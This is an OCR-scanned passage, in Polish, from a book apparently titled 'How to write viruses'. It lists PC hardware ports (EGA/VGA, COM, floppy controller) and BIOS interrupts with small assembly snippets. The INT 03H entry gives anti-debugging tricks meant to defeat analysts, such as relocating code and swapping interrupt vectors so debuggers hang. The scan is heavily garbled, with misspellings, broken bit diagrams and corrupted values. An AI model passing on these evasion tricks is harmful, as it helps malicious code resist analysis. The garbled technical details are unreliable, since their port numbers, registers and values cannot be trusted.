03 wybér funkgji i obrotu dla trybu G0

hity 0-2: ustawia licznik obrotu dla trybu 00

hity 3-4: wybdr funkgji dia trybow 00 and 02

00=bez zmian; 01=AND; 10=0R; 11=XOR

Wybor mapy. Bity 0-2 wybieraja numer mapy dia trybu zapisu 00,
Rejestr trybu

| L]

1_!_ -1 Iryb zapisu 0-2

2: sprawdzanie waninku
.. 3 tiyb odegytu: Tsporwnywania kolordw, 0-woros!
4: 1=adresowanie AAM parzystefnieparzysle
&: 1=U2ywa] mapy CGA srednie] rozdziekzosc

Rozne rozkazy graficzne.
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[ |

L- 0 1=graficzng; 1=tekstowes generowania nakdw.
1: 1=wiacz mapy parzyste po nieparzystych.

2: pamieé ekrany.
00=a000H (128K); 01 =a000H (64K}
10=b000H (32K MDAL11=h300H {326 CGA)

07 Wiaczone maskowanie kolorow. Bity 0-3 wylgczajg poréwnywanie logiczne dla trybu odczy-
i
08 Maskawanie bitow. Bity 0-7 okreslaja, kiére bity majg by¢ maskowane na wszystkich pozie-
mach.
B 3b4hi3ddh  Rejestr adresowy CRT
B 3b5h|3d5h  Wewnelrzne rejestry CRT
Uwaga: Port 3c0H bit 0 okredla, ktdry z pary adresow portéw jest Lzywany {3bxH sg normalnie przeznaczone dla MDA,
3dxH dia CGA).
Najpieny wykonaj OUT 3x4H,numer_rejestru potem QUT 3x5H dane
Be&.CRIC Opis Danych
00118 Zgadzaja sie z rejestrami CRTC karty CGA. Réznice:
42 Zacznij migotanie w poziomie {liczba znakéw)
03 Skoricz migotanie w poziomie. Bity 0-4 oznaczajg szeroko$é. Bity 5-6 wiaczaja skos (0 to
3)
04 Zacznij odtwarzanie poziome
05 Skoifcz odiwarzanie poziome.
7 6 5 4 3 2 1 0
[_ T | i i 0-4: szerckoss adiwarzania
5-8: opdiinienia odtwarzania
~ ¥ 1=Zacznijna adresach nigparzystych; D=parzystych
0g Liczha punktdw w pionie
g7 8 bit dfa ustalonego rejestru CRTC
7 6 5 4 3 2 1 ¢
L 0: {CATL Hgjestr 06h)
L. 1:{CRTC Rejestr 12h}
2: [CATC Rejestr 10h)
. 3 {CRTC Rejeslr 151}
a: {GRTC HeJesir 16h)
5: {CRTC Rejestr Dah}
08 Yybiera pierwszg linig do odiwarzania pionowego
10h Zapis; Start odtwarzania pionowego.
11k Zapis: Koniec odtwarzania pionowego
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7 6 5 4 3 2 1 0
! [ ]__I_ 03 ot linii w odtwarzanym wierszu

4: (=Wytacea przerwanie IRQ2
5. 0=Wilacza pzenvanie IRQ2

¥h Konlec wyawistlanig finil w wierszu
1sh Wyswietlanie w pionie centrowane.
14h Umigjscowienie podkreslenia.Bity 0-5 to numer linii w wigrszu
15h Zacznij migotanie pionowe (w wigrszu).
16h Skoricz migotanie picnowe.
17h Rejestr trybdw.
i 6 58 4 3 2 1 0D
L] |
L 0: O=Kompatybilnoéé adresowa z CGA.
1: 1= linii w wierszu Q=8 linii w wierszu.
. 2 1=Podwdina rzdzislczost pionowa.
3 1=\)7ywaj zegara /2 przy odéwiezarniu.
4: 1=Wisoka rnpedancia na wylseiu
5: Tryt nawijania {wrapping mode) adresow
&: 1=Adresowanie w bajtach; 0=w skowach
7: 0=Sprzetowy resel
18h Pordwnanie linii w wierszu.

B 3bahi3dah Zapis: bity 0-1 sygnaty FCOiFC1
Odczyt; stan (patrz CGA port 3dah)

B 3bdh|3dbh  Jakikolwiek QUT wytgcza pidro swietlne.
M 3bchl3dch  Jakikolwiek QUT wigcza pidro Swietlne.

§ Pory VGA

Karla VGA (Videc Graphics Array} jest kompatybilna w gére z kartami CGA,EGA. Na poziomie sprzgtowym pdpowiednie
. oty majg takie znaczenia Jak wtamtych kartach. Ponizsza tabela przedstawia tylko rozszerzenia w stosunku de karty EGA.
& Fopeinijszy opis siggni} do opisu portéw EGA | CGA oraz do dokumentacii swoje] karty.

Fart Opis

3c3h Rejestr odblokowania VGA

3ceh Rejestr Maski PEL

3c7h Zapis: Rejestr adresowy PEL dla trybu odezytu
Odezyt: Rejestr stanu DAC

3cdh Odezyt: Rejestr adresowy PEL dla trybu zapisu

3coh Rejestr danych PEL

- Porty Szeregowe

. Imisnne systemowe zawierajg listg adresow do 4 portdw COM, Pedezas POST BIOS testuje i inicjalizuje COM? iCOM2
. COM1 ma przydzielone porty 38H do 3iH
[ COM2 ma przydzieicne porty 2i8H do 2{fH

Prerwanie FOM BIOS-u 14h moze obsiugiwaé kazde z czterech ztacz COM. Jegli cheesz jednak wykorzystywad COM3
.ICOM4 to sam miusisz umiescic ich adresy basowe w tabeli portéw COMM zaczynajace] sie w 0:04000.
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BIOS pozwala na fatwe wywotywanie przerwan sprzetowych w zaleznodcl wielu warunkdw okreslonych w Rejestrze
Przerwari {port 3{Sh lub 2fah).

COM? wywoldje przerwanie sprzetowe IRC 4 { odpowiada mu przerwanie Och )
COM2 wywotuje przerwanle sprzgtowe IRQ 3 { odpowiada mu przerwanie Obh )
B Port Opis

B 3isH Zapis: Rejestr przesytania danych. 8-bitowy znak do wystania.
Odczyt: Bufor odbioru danych. Ostatnio odebrane 8-bitdw.
Zapis: (gdy DLAB=1} Dolny bajl Czasu przesylania. Pozwala na ustawlenie pradkosci trans-
misji wedtug nastepujgee] tabalki:

Baud Czas Baud Czas
110 1040 1200 96
150 | 768 2400 48
300 ] 384 4800 24
600 192 9600 12
W 3oH Zapis: Wyzszy bit Czasu przesylania (gdy DLAB=1 patrz pert 3fbh)

Zapis: Rejestr przerwan
7 6 h 4 3 2 1 0

[ofa]o]o L1
L L [t 1=Zezwald na przenwanie gdy odebirano dane
—— 1:1=Zezwaia na przerwanie gdy bufor Iransmitera pusty
2 1=Zezwala na przerwanie stanu Iinil {blad lub break}
3. 1=Zezwala na przerwanie slanu medemu[CTS, DSR,RI,RLED)
B 3faH Odczyt: Rejestr identyfikujacy przerwanie. Jesli nastapi przerwanie sprzetows, czytaj ten re-

jestr by zorientowac sig co e spowotowato.
7 & 5 4 3 2 1 ¢

[.. - 0 1=Nig wyslapil biad

1: (0=Przerwanie stanu linii cdbiorcy (patrz port 3idh)
1 =Odhigrane dane dostepne {pont 318H)

1G=Bulor Iransmitera pusty fport 3f8H)

11=5tan modemy, fport dfeH}

Bl 3tbH Rejestr kontrolny lini.
7T 6 6 4 8 2 1 9
| 1 | par [s] aig ]

{-1: dhugosc slowa 00=5, 01=6, 10=7, 11=B bitow

2: bity synehronizaci: 0=1,1=2

3-4: parzystosé: 00,10=tadna, Ql=niag. , 11=parz.

5: Genergwanie bilu paszystosd

8: 1=Zacznij wysylad spacje :

7, DLAB (Divisor Lalch Access Bil-bit doslapu} ustala tryb porttw 318H and SHH, ;
1=ustaw baudky. G=normalny i

B 3fcH Zapis : Rejestr Modemu E

e oo, i e B am
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i 7 6 5 4 3 2 1 0
ofofo T T T T |
L O 1=uaktywnia -DTR ,dane gotowe
L A:1=uakiywnia -ATS 2adanie wyslania
2 1=uaktywnia ~OUT wyiscie uzylkownika
3 1=uakiywnia “OUT2 wyjicie uzytkownika
= e 1=uEKlywnia tesly sprzgtows.
k8 B 3idH Odczyl: Rejestr stanu linii. Ustawienie bitéw 1-4 powoduje przerwanie o le jest ono dozwo-
: ¢ lone.
7 5 5 4 3 2 10
of [t [T 1 1]
L 0 1=(DR). Dane golowe
L 1:1=(0E]. Poprzedai mak zgubiony
2 1=({PE). Biad parzystosg
3 1={FE}. Sladny bit w znaku
4; 1={BI). Przerwanis
— 5 1=Mgina wysylad.
6. 1=Transmiler pusly
B 3feH Odczyt: Rejestr stanu modemu. Ustawienie bitow 1-3 powoduje przerwanie o il jest one

dozwolone.
7 6 5 4 3 2 1 0

L N

|_ 0: 1={DCTS} zmienit stan
1. t={DDSR) #mieni stan
2: 1=[TERI) jest aklywny
2 =[N #mieni sie

_ 4 1={CT5) jest akbmy

5: 1={DSH} jest aktywny

6: 1={RI} jesl aktywny

7. 1=(DCD} jest akiywny

3 potyFDC

. Gioimym skladnikiem FDC (Floppy Disk Controller - kontraler dyskéw elastycznych jest uklad NECu PD765 iub
kempatybilny.

- FDC #1 ma przyporzackowane porty 3f0H do 3f7H

S FDC #2 ma przyporzadkowane porty 370H do 377H (Tyko w AT)

FOC generuje przerwanie sprzetowe na poziemie & (IRQ 6) po kazdej operacji {odczyt, zapis,rekalibracja itd). IRQ 8 Jest

E przyporzadkowane przerwaniu Och obsiugiwanemy przez BIOS.

R Port Opis
W 3th Zapis:Hejestr cyfrowego wyjécla
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7 6 b 4 3 2 1 0
D CB A |
L_L 0-1: Naped 0o wyboru 0-3 (AT: bit 1 nie uzywany)
L 21=Wigez kontroder
& 1=Zezwokenia na DA i przerwania
4-7: Blinik napgdu wigczony. (AT; bity 6-7 nie uZywane)
W 3i4h Tylko odczyt: Gldwry rejestr stanu

7T 6 5 4 3 2 1 0

l D ¢ B A

l_‘__[ ] 0: TuNtipe dyskow Tajaty (AT: bity 2.3 nie ulywan)
4: 1=Konlroler zajety

5: 1=Tryb DMA wyigczony O=liyb DMA akbywny

6: Kierunek przephywu danych: 1=do CPU; 0 =z CPY
T: 1=Zgada na wystaniefodbior danyen lub rozkazy,

W 354 Rejestr rozkazow/danych FOC
Ponizej znajduje sie opis rozkazdw kontrolera, Pelny opis tych rozkazéw wykraczatby poza ramy tej ksiazkl. Sprawdz

W opisie swojego komputera tub w [1]

Bozkaz Opis

e6h Odezyt danych

cSh Zapisanie danych

Qsh Formatowanie Sciezki
0Zh Rekalibracja
Oth
.
|
7

Szukanie $ciezki
3féh AT Rejestr dysku statego
H7h AT Zapis: Rejestr rozkazu
6 5 4 3 2 1 ¢

|

l 0-1:lips¢ danyeh do przesiania, 00=500 KB, 01=300 KB, 10=250 KB, 11=zarezerw.

Odezyt: Rejestr cylrowego wejscia. Uzywany dia diagnostyki (poza bitem 7)
7 B 5 4 3 2 1 0

L1 ] [ [ ]
’: 0 1=naped Q
12 1=naped 1
2-5: Wyhdr glowicy 0-3 {bit 2=glowica 0, 3=rpowicz 1, itd)

G: Brama zapisu
7: Zmiana | dyskietsk.

21. Przerwania

PoniZej znajduje sig lista przerwart BIOS-u i Systemu MS-DOS. Wykorzystywac tg liste mozesz dwojako: uzywajac

~gotowych funkej wspdipracy z dyskami, czy ekranem, afbo piszac wiasne procedury obstugi, przechwytujac na przyktad

przerwanie zegarowe lub klawiatury. Wirusy przechwytujg nisktdre przenwania, aby ,oszukiwac” system maskujac swoja
obecnose np. podajac fatszyws zawarto$é pliku sprzed zarazenia. Te 2 przerwar, kidre nie sg przedstawione w tym spisie
§3 2arezeswowane i nie majg dia Cieble praktycznego znaczenia,
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Przerwanie:  0OH

Nazwa: Dzielenie przez zere.

Wywolanie: Wywolywane przez mikroprocesor.

Powrat: Brak

Opis: Przerwanie jest wywotywane przez mikroprocesor w sytuacii, gdy podczas operacji DIV
i IDV wynik dzielenia nie miesct sie w komdree mu przeznaczone] lub po prostu dzielnik
jest zerem. Najprostsza sytuacja, po kitorej przerwanie zostanie wywotane to wykonanie
clagu instrukeii;

MOV BX,0
DIV BX

Przerwanie:  01H

Nazwa: Praca krokowa.

Wywotania: Wywohywane przez mikroprocesor.

Powrdt: Brak.

Opis: Przerwanie to jest wykonywane po kazde] instrukcji procesora, jesl jest ustawiony znacz-
nik pracy krokowej (T, TF). Pozwala ono debuggerom na wykonywanie instrukcji krok po
kroku i wypisywanie stanu pamigci, rejestrow, portéw wejscia/wyjscia itd.

Uwagi: Po wywotaniu dowolnego przerwania, znacznik pracy krokowej jest zerowany.Diatego naj-
czgsciej uzywany sposob rozpoczecia pracy krokowsj moze wydaé Ci sie dosé skompliko-
wany. Polega on na zapisaniu na stos sfowo odpowiadajgcego rejestrowi znacznikéw
z ustawionym znacznikiem T (8 bit) , zapamietaniu pozycii aktualnie wykonywanej instru-
keji i wykonaniu IRET. Odpowiedni kod moze wygladad na przyklad tak:

PUSH F
POP AX
OR AX,0100H
PUSH AX
PUSH C8
PUSH IF
IRET

Przerwanie:  02H

Nazwa: Przerwanie niemaskowalne,

Wywotanie: Wywolywane przez mikroprocesor.

Powrét: Brak,

Opis: Przerwanie NMI (Non Maskable Interrupt Jjest wywolywane w sytuacji wystapienia powasz-
nych bfgddw, kidre zagrazaja pracy systemu, W standardowym PC - ecie jest ono powig-
zane z higdem parzystosci pamigci. Procesor 8087/80287 wywoluje przerwanie NME
w przypadku wystapienia biedu dzielenia przez 0. W systemach 2 podwyzszonym bezpie-
czefisiwem przenwanie jest wywolywane po wylaczeniu zasilania zewngirznego. Jest to je-
dyne przerwanie, ktdrego nie da sie wytaczyd instrukcja CLI, 1zn bedzie ono wywolywane
zawsze, niezaleznie od stanu znacznika f.

Przerwanie:  03H

Nazwa: Punkt kentrolny (Breakpoint).

Wywotanie: Wywolywane przez mikroprocesor.

Powrot: Brak.

Jak pisac wirusy
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Opis: Przerwanie to jest wykorzystywane gidwnie przez debuggery. Poniewa? jege kod jest jed-
nobajtowy (COH), moze by¢ wstawione w dowaine migjsce programu bez niszezenia jego
zawartosci. Debuggery przechwytujgc to przerwanie umoziiwiajg tworzenie punkidw kon-
trcinych w programie. Mechanizm tego jest bardzo prosty, 12n. we wskazane przez uzyt-
kownika miejsce programu wstawiana jest instrukcja przerwania, & jego adres i akivalng za-
wartosé zapamigtuje ,odpluskwiacz”. Po dojsciu do tego migjsca w programie procedura
obslugi przerwania zalrzymuje pracg, wyswietla zawartosci rejestrow i przywraca poprze-
dnig wartosc komdree,

Uwagi: Jak kazda bror, dziata to w dwie strony. Sg przynajmniej dwa sposoby wykorzystania tego
przerwania w celu oszukania debuggera,

— Przenies kilka razy swo| program w pamigci. Nie koszivje Cig to duzo pracy, a ma taki
efekt, ze jesli gdzies zostanie zastawions to przerwanie, to po przekopiowaniu debugger
po napotkaniu kodu 0CH uruchomi wprawdzie punkt kentrolny, ale nie przywroci poprze-
driej zawartodci komarki {nie bgdzie znat nowepo adresu). W ten sposdb bedzie on sam ni-
szczyt kod, ktdry ma nadzorowag.

— Zamieri w ablicy wektorow przerwania 03H z innym czesto wykorzystywanym przerwa-
niem np 13H, czy 21H. Wiedy préby przechwycenia tego przerwania bgda najczqscief kon-
czyly sie zawieszeniem systemut. Dodatkowo mozesz co jakis czas sprawdzaé, czy prze-
rwariie to nie jest przechwycone { w tym przypadku najlepie] czytaj bezposrednic 2 tablicy
wektoréw), a jesh tak, to wydrukuj jakis mity komunikat i usun sig 2z pamigci.

Przerwanie:  04H

Nazwa: Nadmiar

Wywolanie: Wywohywane z mikroprocesora

Powrét: Brak

Opis: Przerwanie jest wywolywane przez mikroprocesor w przypadku wystapienia nadmiaru
w operacjach anytmetycznych (Znacznik & = 1).

Przerwanie:  05H

Nazwa: Whydrukowanie zawartosct ekrany

Wywelanie: Po nacisnigeiu klawisza Print Screen

Powrdt: Brak :

Opis: Przerwanie jest wywolywane bezposrednio przez przerwartie klawiatury 09H, jesii nacisnig-
tym klawiszem jest PriSc. Ekran jest drukowany tylko w tryble tekstowym.

Przerwanie:  08H

Nazwa: Przerwanie Zegara

Wywolanie: Wywotywane przaz sterownik 82554

Powrot: Brak

Opis: Jest to przerwanie sprzetowe IRQ 0 obstugujgce zegar systemowy. Jest wykonywane co
55mms czyli okoto 18.2 raza na sekunde. Modyfikuje zmienne 0:046¢ | wytacza siinik stadji
dyskdw po dwoch sekundach od czasu ostatniej transmisji danych. Wywoltje takze prze-
rwanie Uzytkownika 1CH

Uwagt: Jesli cheesz przechwycicé to przerwanie, to nie zapomnij umiescic na koticu procedury ob-

Jak pisac wirusy

shugi nastepuigeych instrukeji:

MOV AL,20H

OuT 28H,AL

Jest to sygnat dlz kontrolera 82594 o zakoriczeniu przerwania.
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Przerwanie:  09H
Nazwa: Przerwanie kawiatury
Wywotanie: Z konfrolera 8258A
Powidt: Brak
Opis: Jest to przarwanie sprzetowe IRQ 1 wywolywane po kazdym nacisnigciu lub zwolnieniu kla-
wisza. Przerwanie modyfikuje zawartodé hufora klawiatury (0:041e} i zmiennych okreslaja-
cyeh status klawiatury(0:417). W przypadku naciénigeia kiawiszy PriSe lub SysReq wywoiu-
je odpowiednio przerwanie 5H i przerwanie 15H funkcja 85H
Przerwanie:  OEH
Nazwa: Przerwanie kontolera dyskow
Wywofanie: Wywotywane przez kontroler 82594
Powrét: Brak
Opis: Jest to przerwanie sprzetowe IRQ 6 wywolywane przez kontroler dyskow, Ustawia 7 bit
w zmienne] (0:043g), kidry oznaczs, ze trwa wyszukiwanie seidora na dyskietce. Ten zna-
cznik jest wykorzystywany potem przez przerwanie 13H w celu sprawdzenia, ¢2y przed na-
stgpna operacjg jest potrzebna rekalibracja dysku.
Przerwanie:  10H
Naiwa: Qbsluga menitora
Onpis: Przerwanie jest podzielone na kilka funkcji. Aby uruchomic cdpowiednig funkcjq nalezy
przed wywotaniem przerwania umieécic w rejestrze AH jej numer.
Przerwanie:  10H
Funkeja 0cH
Nazwa: Ustalenie trybu wyswistlania
Wywotanie: AH =00H
AL - tryb wysdwietlanie
Powrdt: Funkcja czyscl ekran ustawia odpowlednie zmienne systemowe | inicjalizuje tryb wyswietla-
nia. Mozliwe s nastepujaee tryby:
. pamigc
AL rodzaj rozdz. kolory karta obrazu
0 tekstowy 40%25 | 16/ (odcieni) CGAEGA L8oo
1 tekstowy 4025 168 CGAEGA bB00
2 tekstowy 80x25 16/8 (odcieni) CGAEGA b&0o
K tekstowy 80x25 16/8 CGAEGA b800
4 graficzny 3200200 4 CGAEGA bBOG
5 graficzny 320200 4 {odcienie) CGAEGA k800
6 graficzny 540x200 2 - CGAEGA k800
7 tekstowy 80x25 3 _ MDA EGA BOGO
| 0dH graficzny 320x200 16 EGAVGA ACO0
0eH graficzny 640x200 16 EGA VGA ADOD
Jak pisac wirusy Strona:144
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GMH graficzny B40x350 3 _ EGAVGA ADOC
10H graficzny 640x350 4iub 18 | EGAVGA AQOO
11H graficzny 640x480 2 VGA A0
12H graficzny 640x480 16 VGA A000
13H graficzny 640x480 256 VGA ADOO

Dodanie 80H do numeru trybu dia kart EGA | VGA powoduje inicjalizacje bez czyszezenia ekranu.

Przerwanie:  10H

Funkecja: G1H

Nazwa: Ustawienie ksztaftu kursora

Wywolanie: AH=01H
CH — poczatkowa linia
CL - koricowa linia

Powrdt: Brak

Opis: Funkcja ustawia rozmiar | ksztalt kursora, Poczatkowa | koricowa linia mugzq miedcic sie
w przedziale 0-1FH. Podanie 20H jake wartosci linii poczatkowe] poweduje ukrycie kurso-
ra.

Przerwanie:  10H

Funkcja 02H

Nazwa; Ustawienie pozycji kursara

Wywotanie: AH=02H
BH - numer strony graficznej
DH - wiersz
DL - kolumna

Powrot: Brak

Opis: Funkcja ustawia pozycig kursora na ekranie. Podarie 25 jake numert wiersza powoduje
ukrycie kursora.

Uwagi: Karty graficzne posiadaja zazwyczaj wiece] pamigci niz potrzeba na zapamietanie obrazu
jednego ekranu. Pamiet ta jest dzielona na strony. Kazda strona odpowiada jednemu obra-
zowi. Dzigki tamu mozliwa jest np. szybka animacja, mozemy bowiem wyswietlajac jeden
obraz réwnaczesnie przygotowywad drugi, a nastepnie wymieniaé strong aklywna. Zmiana
aktywnej strony odbywa sig przy pomocy funkcji 05H tego przerwania.

Przerwanie:  10H

Funkcja 03H

Nazwa: Pytanie o pozycje | ksztalt kursora

Wywolanie: AH=03H

Powrot: CH - poczatiowa linia kursora
CL - koricowa finia kursora
DH - wiersz
DL — kolumna

Opis: Funkcja zwracz informacje o ksztalcie kursora {p. funkcja 01H} oraz o jego potozeniuna

Jak pisac wirusy

akrania.
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Przerwanie:  10H
Funkcja 04H
Nazwa: Chstuga pidra swiellnego
Wywotanie: AH = D4H
Powrdt: AH =
0 - pidro niedotaczone
1 — pidre dziata
BX - kolumna w trybie graficznym
CX ~ wiersz w trybie graficznym
DL - kolumna w trybie tekstowym
DH — wiersz w irybie tekstowym
Onis: Furtkcja zwraca informacje o pozycji pidra swietinege, ¢ ite takie jest doraczone do kompu-
lera.
Przerwanie:  10H
Funkgja 05H
Nazwa: Ustalenie aktywnej strony
Wywotanie: AH=05H
AL - numer strony
Powrdt: Brak
Opis: Funkcja pozwata na zmiang aktywne; strony graficznej. Liczba stron jest zwigzana z roz-
miarem pamieci karty graficznej, diatege moze byé rézna dla réznych komputerdw. Zazwy-
- ¢2aj wyswietlana jest strona zerowa.
Przerwanie:  10H
Funkecja 06H
Nazwa; Przesuwanie okna w gére
Wywolanie: AH = 06H
AL — liczba dodanych pustych linii
BH — atrybuly pustych linii
il = kolumna lewego gomago togu okna
CH - wiersz lewego gdrnego rogu okna
DL - kolumna prawego delnego rogu okna
DH - wisrsz prawego dolnego rogu ckna
Powrdt: Brak
Opis: Funkcja przesuwa okno, o parametrach podanych w CX i DX w gdre. W rejestrze AL prze-
kazywana jest liczba pustych linfi, kidre maja byd dopisane od dotu. Podanie w rejestrze
AL warto$cl 0 spowoduje zapetnienie catego okna pustymi liniami.
Uwagi: Mozesz wykorzystywad te funkcje do czyszezenia ekranu np. za pomocy nastgpligcego

ciggu instrukeji
MOV AX,0600H
MOV BH,atrybuty

MOV CX,0000H
MOV DX,184FH
INT  10H
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Przerwanie:  10H
Funkcja 07H
Nazwa: Przesuwanie okna w dot
Wywolanie: AH =07H
AL —Ticzba dodanygch pustych linit
BH - atrybuty pustych linii
CL - kolumna iewego gomeago rogu okna
CH - wiersz lewego gdmego rogu okna
DL - kolumna prawego dolnego rogu okna
DH - wiersz prawege dolnego rogu okna
Powerat: Brak
Opis: Funkgja przesuwa ckno, o parametrach podanych w CX i DX w dét. W rejestrze AL przeka-
zywana Jest liczba puslych linii, kidre majg byd dopisane od gory. Podanie w rejestrze AL
wartosci 0 spowoduje zapetnienie catego okna pustymi liniami.
Przerwanie:  10H
Funkcja 08H
Nazwa: Odczyt znaku i atrybuty
Wywolanie: AH = 08H
BH — numer strony graficzingj
Powrdt: AL —kod znaku
AH - atryhut znaku
Opis: Funkcia zwraca kod i atrybut znaku znajdujgcego sie pod kursorem.
Przerwanie:  10H
Funkeja 08H
Nazwa: Zapis znaku i atrybutu
Wywatanie: AH = 09H
AL —kod znaku
BL - atrybut znaku
BH — humer strony graficzne
CX ~ liczba znakow do zapisania
Powrot: Brak
Opis: Funkcja zapisuje na ekranie jeden albo kilka znakdw. Liczba znakéw do zapisania jest
przekazywana w rejestrze CX. Dla trybdw tekstowych w rejestrze BL znajduje sie atrybut
znaku. Dla frybdw graficznych w rejestrze tym znajduje sig kolor.
Przerwanie:  10H
Funkeja 0AH
Nazwa: Zapis znaku
Wywolanie: AH =0AH
) AL —kod znaku
BH «~ numer strony graficzne
CX ~ liczba znakdw do zapisania
Powrét: Brak

Jak pisac wirusy
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Opis: Funkcja zapisuje na exranie jeden albo kilka znakow. Liczba znakow jest przekazywana
W rejestrze CX.
Przerwanie:  10H
Funkcja 0BH
Nazwa: Paleta kalarow
Wywotanie: AH=0BH
BH =
{ - lryb tekstowy, wybranie koloru tta
1 tryb graficzny, wybranig palety koloréw
BL - kolor tia {jesli BH=0)
BL = paleta kolordw {jedli BH=1)
0 - palsta zielony/czerwony/bragzowy
1 - paleta twrkusowy/fioletowy/bialy
Powrdt: Brak
Opis: Funkeja ustala paletg koloréw dla karty graficzne] CGA | kompatybilnych,
Przerwanie:  10H
Funkcja 0CH
Nazwa: Zapis punktu
Wywolanie: AH = 0CH
AL — kolor
BH - numer strony
CX - kolumna
DX - wiersz
Powrot: Brak :
Opis: Funkeja rysuje na ekranie punkt (pixel) o kolorze podanym w AL.
Uwagi: Funkcja ta jest bardzo wolna i nie nadaje sig do powazniejszych zastosowari graficznych.
Przerwanie:  10H
Funkcja ODH
Nazwa: Qdezyt koleru punkiu
Wywolanie: AH=0DH
BH — numer sirony
CX - kolumna
DX - wiersz
Powrdt: AL - kolar
Opis: Funkcja zwraca kolor punktu {pixela). Cziata tylko w trybie graficznym.
Uwagi: Funkeia ta jest bardzo wolna i nie nadaje sig do powazniejszych zastosowan graficznych.
Przerwanie:  10H
Funkeja OEH
Nazwa: Symulacja dalekopisu
Wywolane: AH =D0EH

Jak pisac wirusy

AL - kod znaku do zapisu (uzywajac istniejgeych atrybutdw)
BL - kolor (tytko w trybie graficznym}
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Powrdt: Brak
Opis: Funkcja zapisuje znak do aktywnej strony graficznej.
Przerwanie:  10H
Funkcia 0FH
Nazwa: Pytanie o aktualny tryb wyswietlania
Wywolanie: AH =0FH
Powrdt: AL —tryb pracy (p. funkcja OCH)
AH — liczba znakdw w wierszu
BH - numer aktywnej strony
Opis: Funkcja zwraca informacig o tryble wydwietlania oraz numer aktywnej strony.
Przerwanie:  10H
Funkcja 10H
Nazwa; Uslalenie palely kart EGA VGA
" Wywotanie: AH = 0H
AL=

0 — ustaw jeden rejestr
BL - rejestr do ustawienia (numer rejestr odpowiada
humerowi koloru uzywanemu, przy ckrasianiy
atrybutdw).
BH - wartosc rejestru
T — ustaw rajestr tta
BH - warto$é rejestru
2 - ustaw wszystkie rejestry
ES:BX - adres 17 - bajtowego obszaru z wartodciamy
16 rejestrow kolordw i rejestru ta. '
3 - wybierz podswietlenia i migotanie
BL=
0 — wigczonse podéwietlenie
1 - wigczone migotanie
7 - czytaj jeden rejestr (VGA)
BL - numet rejestru
Powrét:
BH - wartosé rejestru
B - czylaj rejestr ta (VGA)
Powrét;
BH - wartos¢ rejestru
9 - czytaj wszystkie rejestry (VGA)
ES:BX - adres bufora, w kiérym zostana zwrdeone
rejestry
10H - ustaw jeden rejestr (VGA)
BX — numer rejestru
OH - nasycenie czerwonym
CH - nasycenie zielonym
CL - nasycenie niebieskim
11H - ustaw blok rejestrow (VGA)
ES:BX - adres hioku z wartosciami rejestréw.
(R.G,B; A,.G,B; ..}
BX - pierwszy rejestr
CX - liczba rejestrow do ustawlenla
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13H —wybierz tryb podziatu na strony/strony aktywnej (VGA)
BL=
0 - wybér trybu podziatu na strony
BH=

0 - 4 bloki rejestrow po 64 kazdy
1 - 16 blokdw rejestréw po 16 kazdy
1 = wybdr strony akiywnej
BH - numer aktywnej strony
15H - czytaj rejestr (VGA)
BX — numer rejestru
Powrdt:
DH - nasycenie czenvonym
CH — nasycenie zielonym
CL - nasycenie nigbieskim
17H — czytaj blok rejestrow (VGA)
ES:BX - adres bufora
BX — pierwszy rejestr
CX - liczba rejestrow do ustawienia
czytaj ES:BX - adres bloku z wartosciami rejestréw.

{R.GB;RGE..)

1AH - czytaj tryb podziatu na strony/strony aktywnej (VGA)
Powrdt:
BL=

0 — 4 bloki rejestrow po 64 kazdy
1 — 16 blokdw rejestrow po 16 kazdy
BH — numer aktywne| strony
1BH - zamier wartosd koloru w rejestrze na wartosé
odcienia szarodei (VGA).
BX - pierwszy rejestr do zamiany
CX - liczba rejestrow
- Opis: Funkcja wybiera kolory uzywane do atrybutow ekranu dia karty EGA. (p. réwniez ops portow EGA). Dla pod-funkcii
& 00H,001H i 002 rejestry majg nastgpujgee ustawienie bitéw:
: 7 6 5 4 3 2 1 0
NieUzyw.] r | g [P R [ G [ B | (6-bitéw=64mozlwe kolory)
P = Podswietlenie, przy symulaci CGA

3 Mate litery oznaczaja 1/3 intensywnosci koloru (r - czerwony, g — Zielony, b - niebieski). Duze litery oznaczajg 2/3
% intensywnosci koloru

Uwagi: Standardowe kolory przypisane majg nasigpujace numery przy okreglaniu atrybutow:
Q0 - czamy - ciemnoszary
1 - nighieskl - 9 - jasnoniebieski
2 - Zielony 10 - jasnozielony
3 - turkusowy 11 - jasnoturkusowy
4 - czervony 12 - jasnoczerwony
5 - ficletowy 13 - jasnofioletowy
B - brazowy 14 - iy
7 - jasnoszary 15 - biaty
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Jak wiadomo, kazdy z kolordw jest zZiczeniem trzech barw podstawowych: czerwonego, zielonego, niebieskiego. Pray
pomocy tej funkefi moZesz na przyklad zmienié znaczenie koloru fioletowego, aby byton zlozeniem nisbieskiego(maksymalny

intensywnosc) i czemonego (2/3 intensywnosci), bez zielonego. Robi to nastepujacy cigg instrukeji;
MOV AX,1000H
MOV BX,0BOSH
INT 10H

Dia karty VGA mozna wyblerac z 63536 kolordw, diatego warlodei nasycenia kolorem czerwanym, ziglonym, niebieskich
lrzeba przekazywac w osobnych bajtach.

Przerwanie:  10H

Funkeja TH
Nazwa: Generator znakdw karty EGA VGA
Wywotanie: AH=11H

Al =

0 — Zatadowanie matrycy znakdw trybu tekstowego
ES:BP - adres matrycy znakdw L2ytkownika
GX - liczba znakéw
DX - kod pierwszego znaku
BL - numer matrycy (W zaleinosoi od rozmiary
pamigct karty EGA od 1 do 4, YGA 0-7)
BH - ilosé hajidw do definicfi znaku (8,14 lub 16)

1 - zatadowanie matrycy 8*14 z ROM
BL - numer matrycy

2 - zatadowanie matrycy 88 z ROM
BL — numer matrycy

3 - whaezenie trybu wyswietlania dwdch matrye
rownoczesnie. Jesli w atrybucie znaku kolor tha
bedzie miaf wigkszy numer niz 7 to wyswietlany
bgdzie znak z drugiej matiyey).
BL - Wybdr matryc

7 6 5 4 3 2 1 90

r nie uzywane ‘ nr matr [ nr matr |

—. ‘ —— uiywana gdy 3 bit atryb.=0
uzywana gy 3 bit atryb =1

4 - zaladowanie matrycy 8x16 z ROM (VGA)
BL — numer matrycy (0-7)

10H - zatadowanie matrycy znakow trybu tekstowego
dia strony zerowe]. (zobacz pod-funkgcia O0H)

11H - zatadowanie makrycy 814 z ROM dla strony
zerowej. {zabacz pod-funkeja 01H}

12H — zatadowania matryey 88 z ROM dla strony
zetowey). (zobacz pod-funkeja 02H)

14H - zafadowanie malrycy 8x16 z ROM dla strony
zerowe;. {zobacz pod-funkeja 04H)

20H — ustawienie matrycy uzytkownika dla trybow
graficznych
ES.BP — adres 2048-bajtowej matrycy 8°8 dia
przerwania 1FH

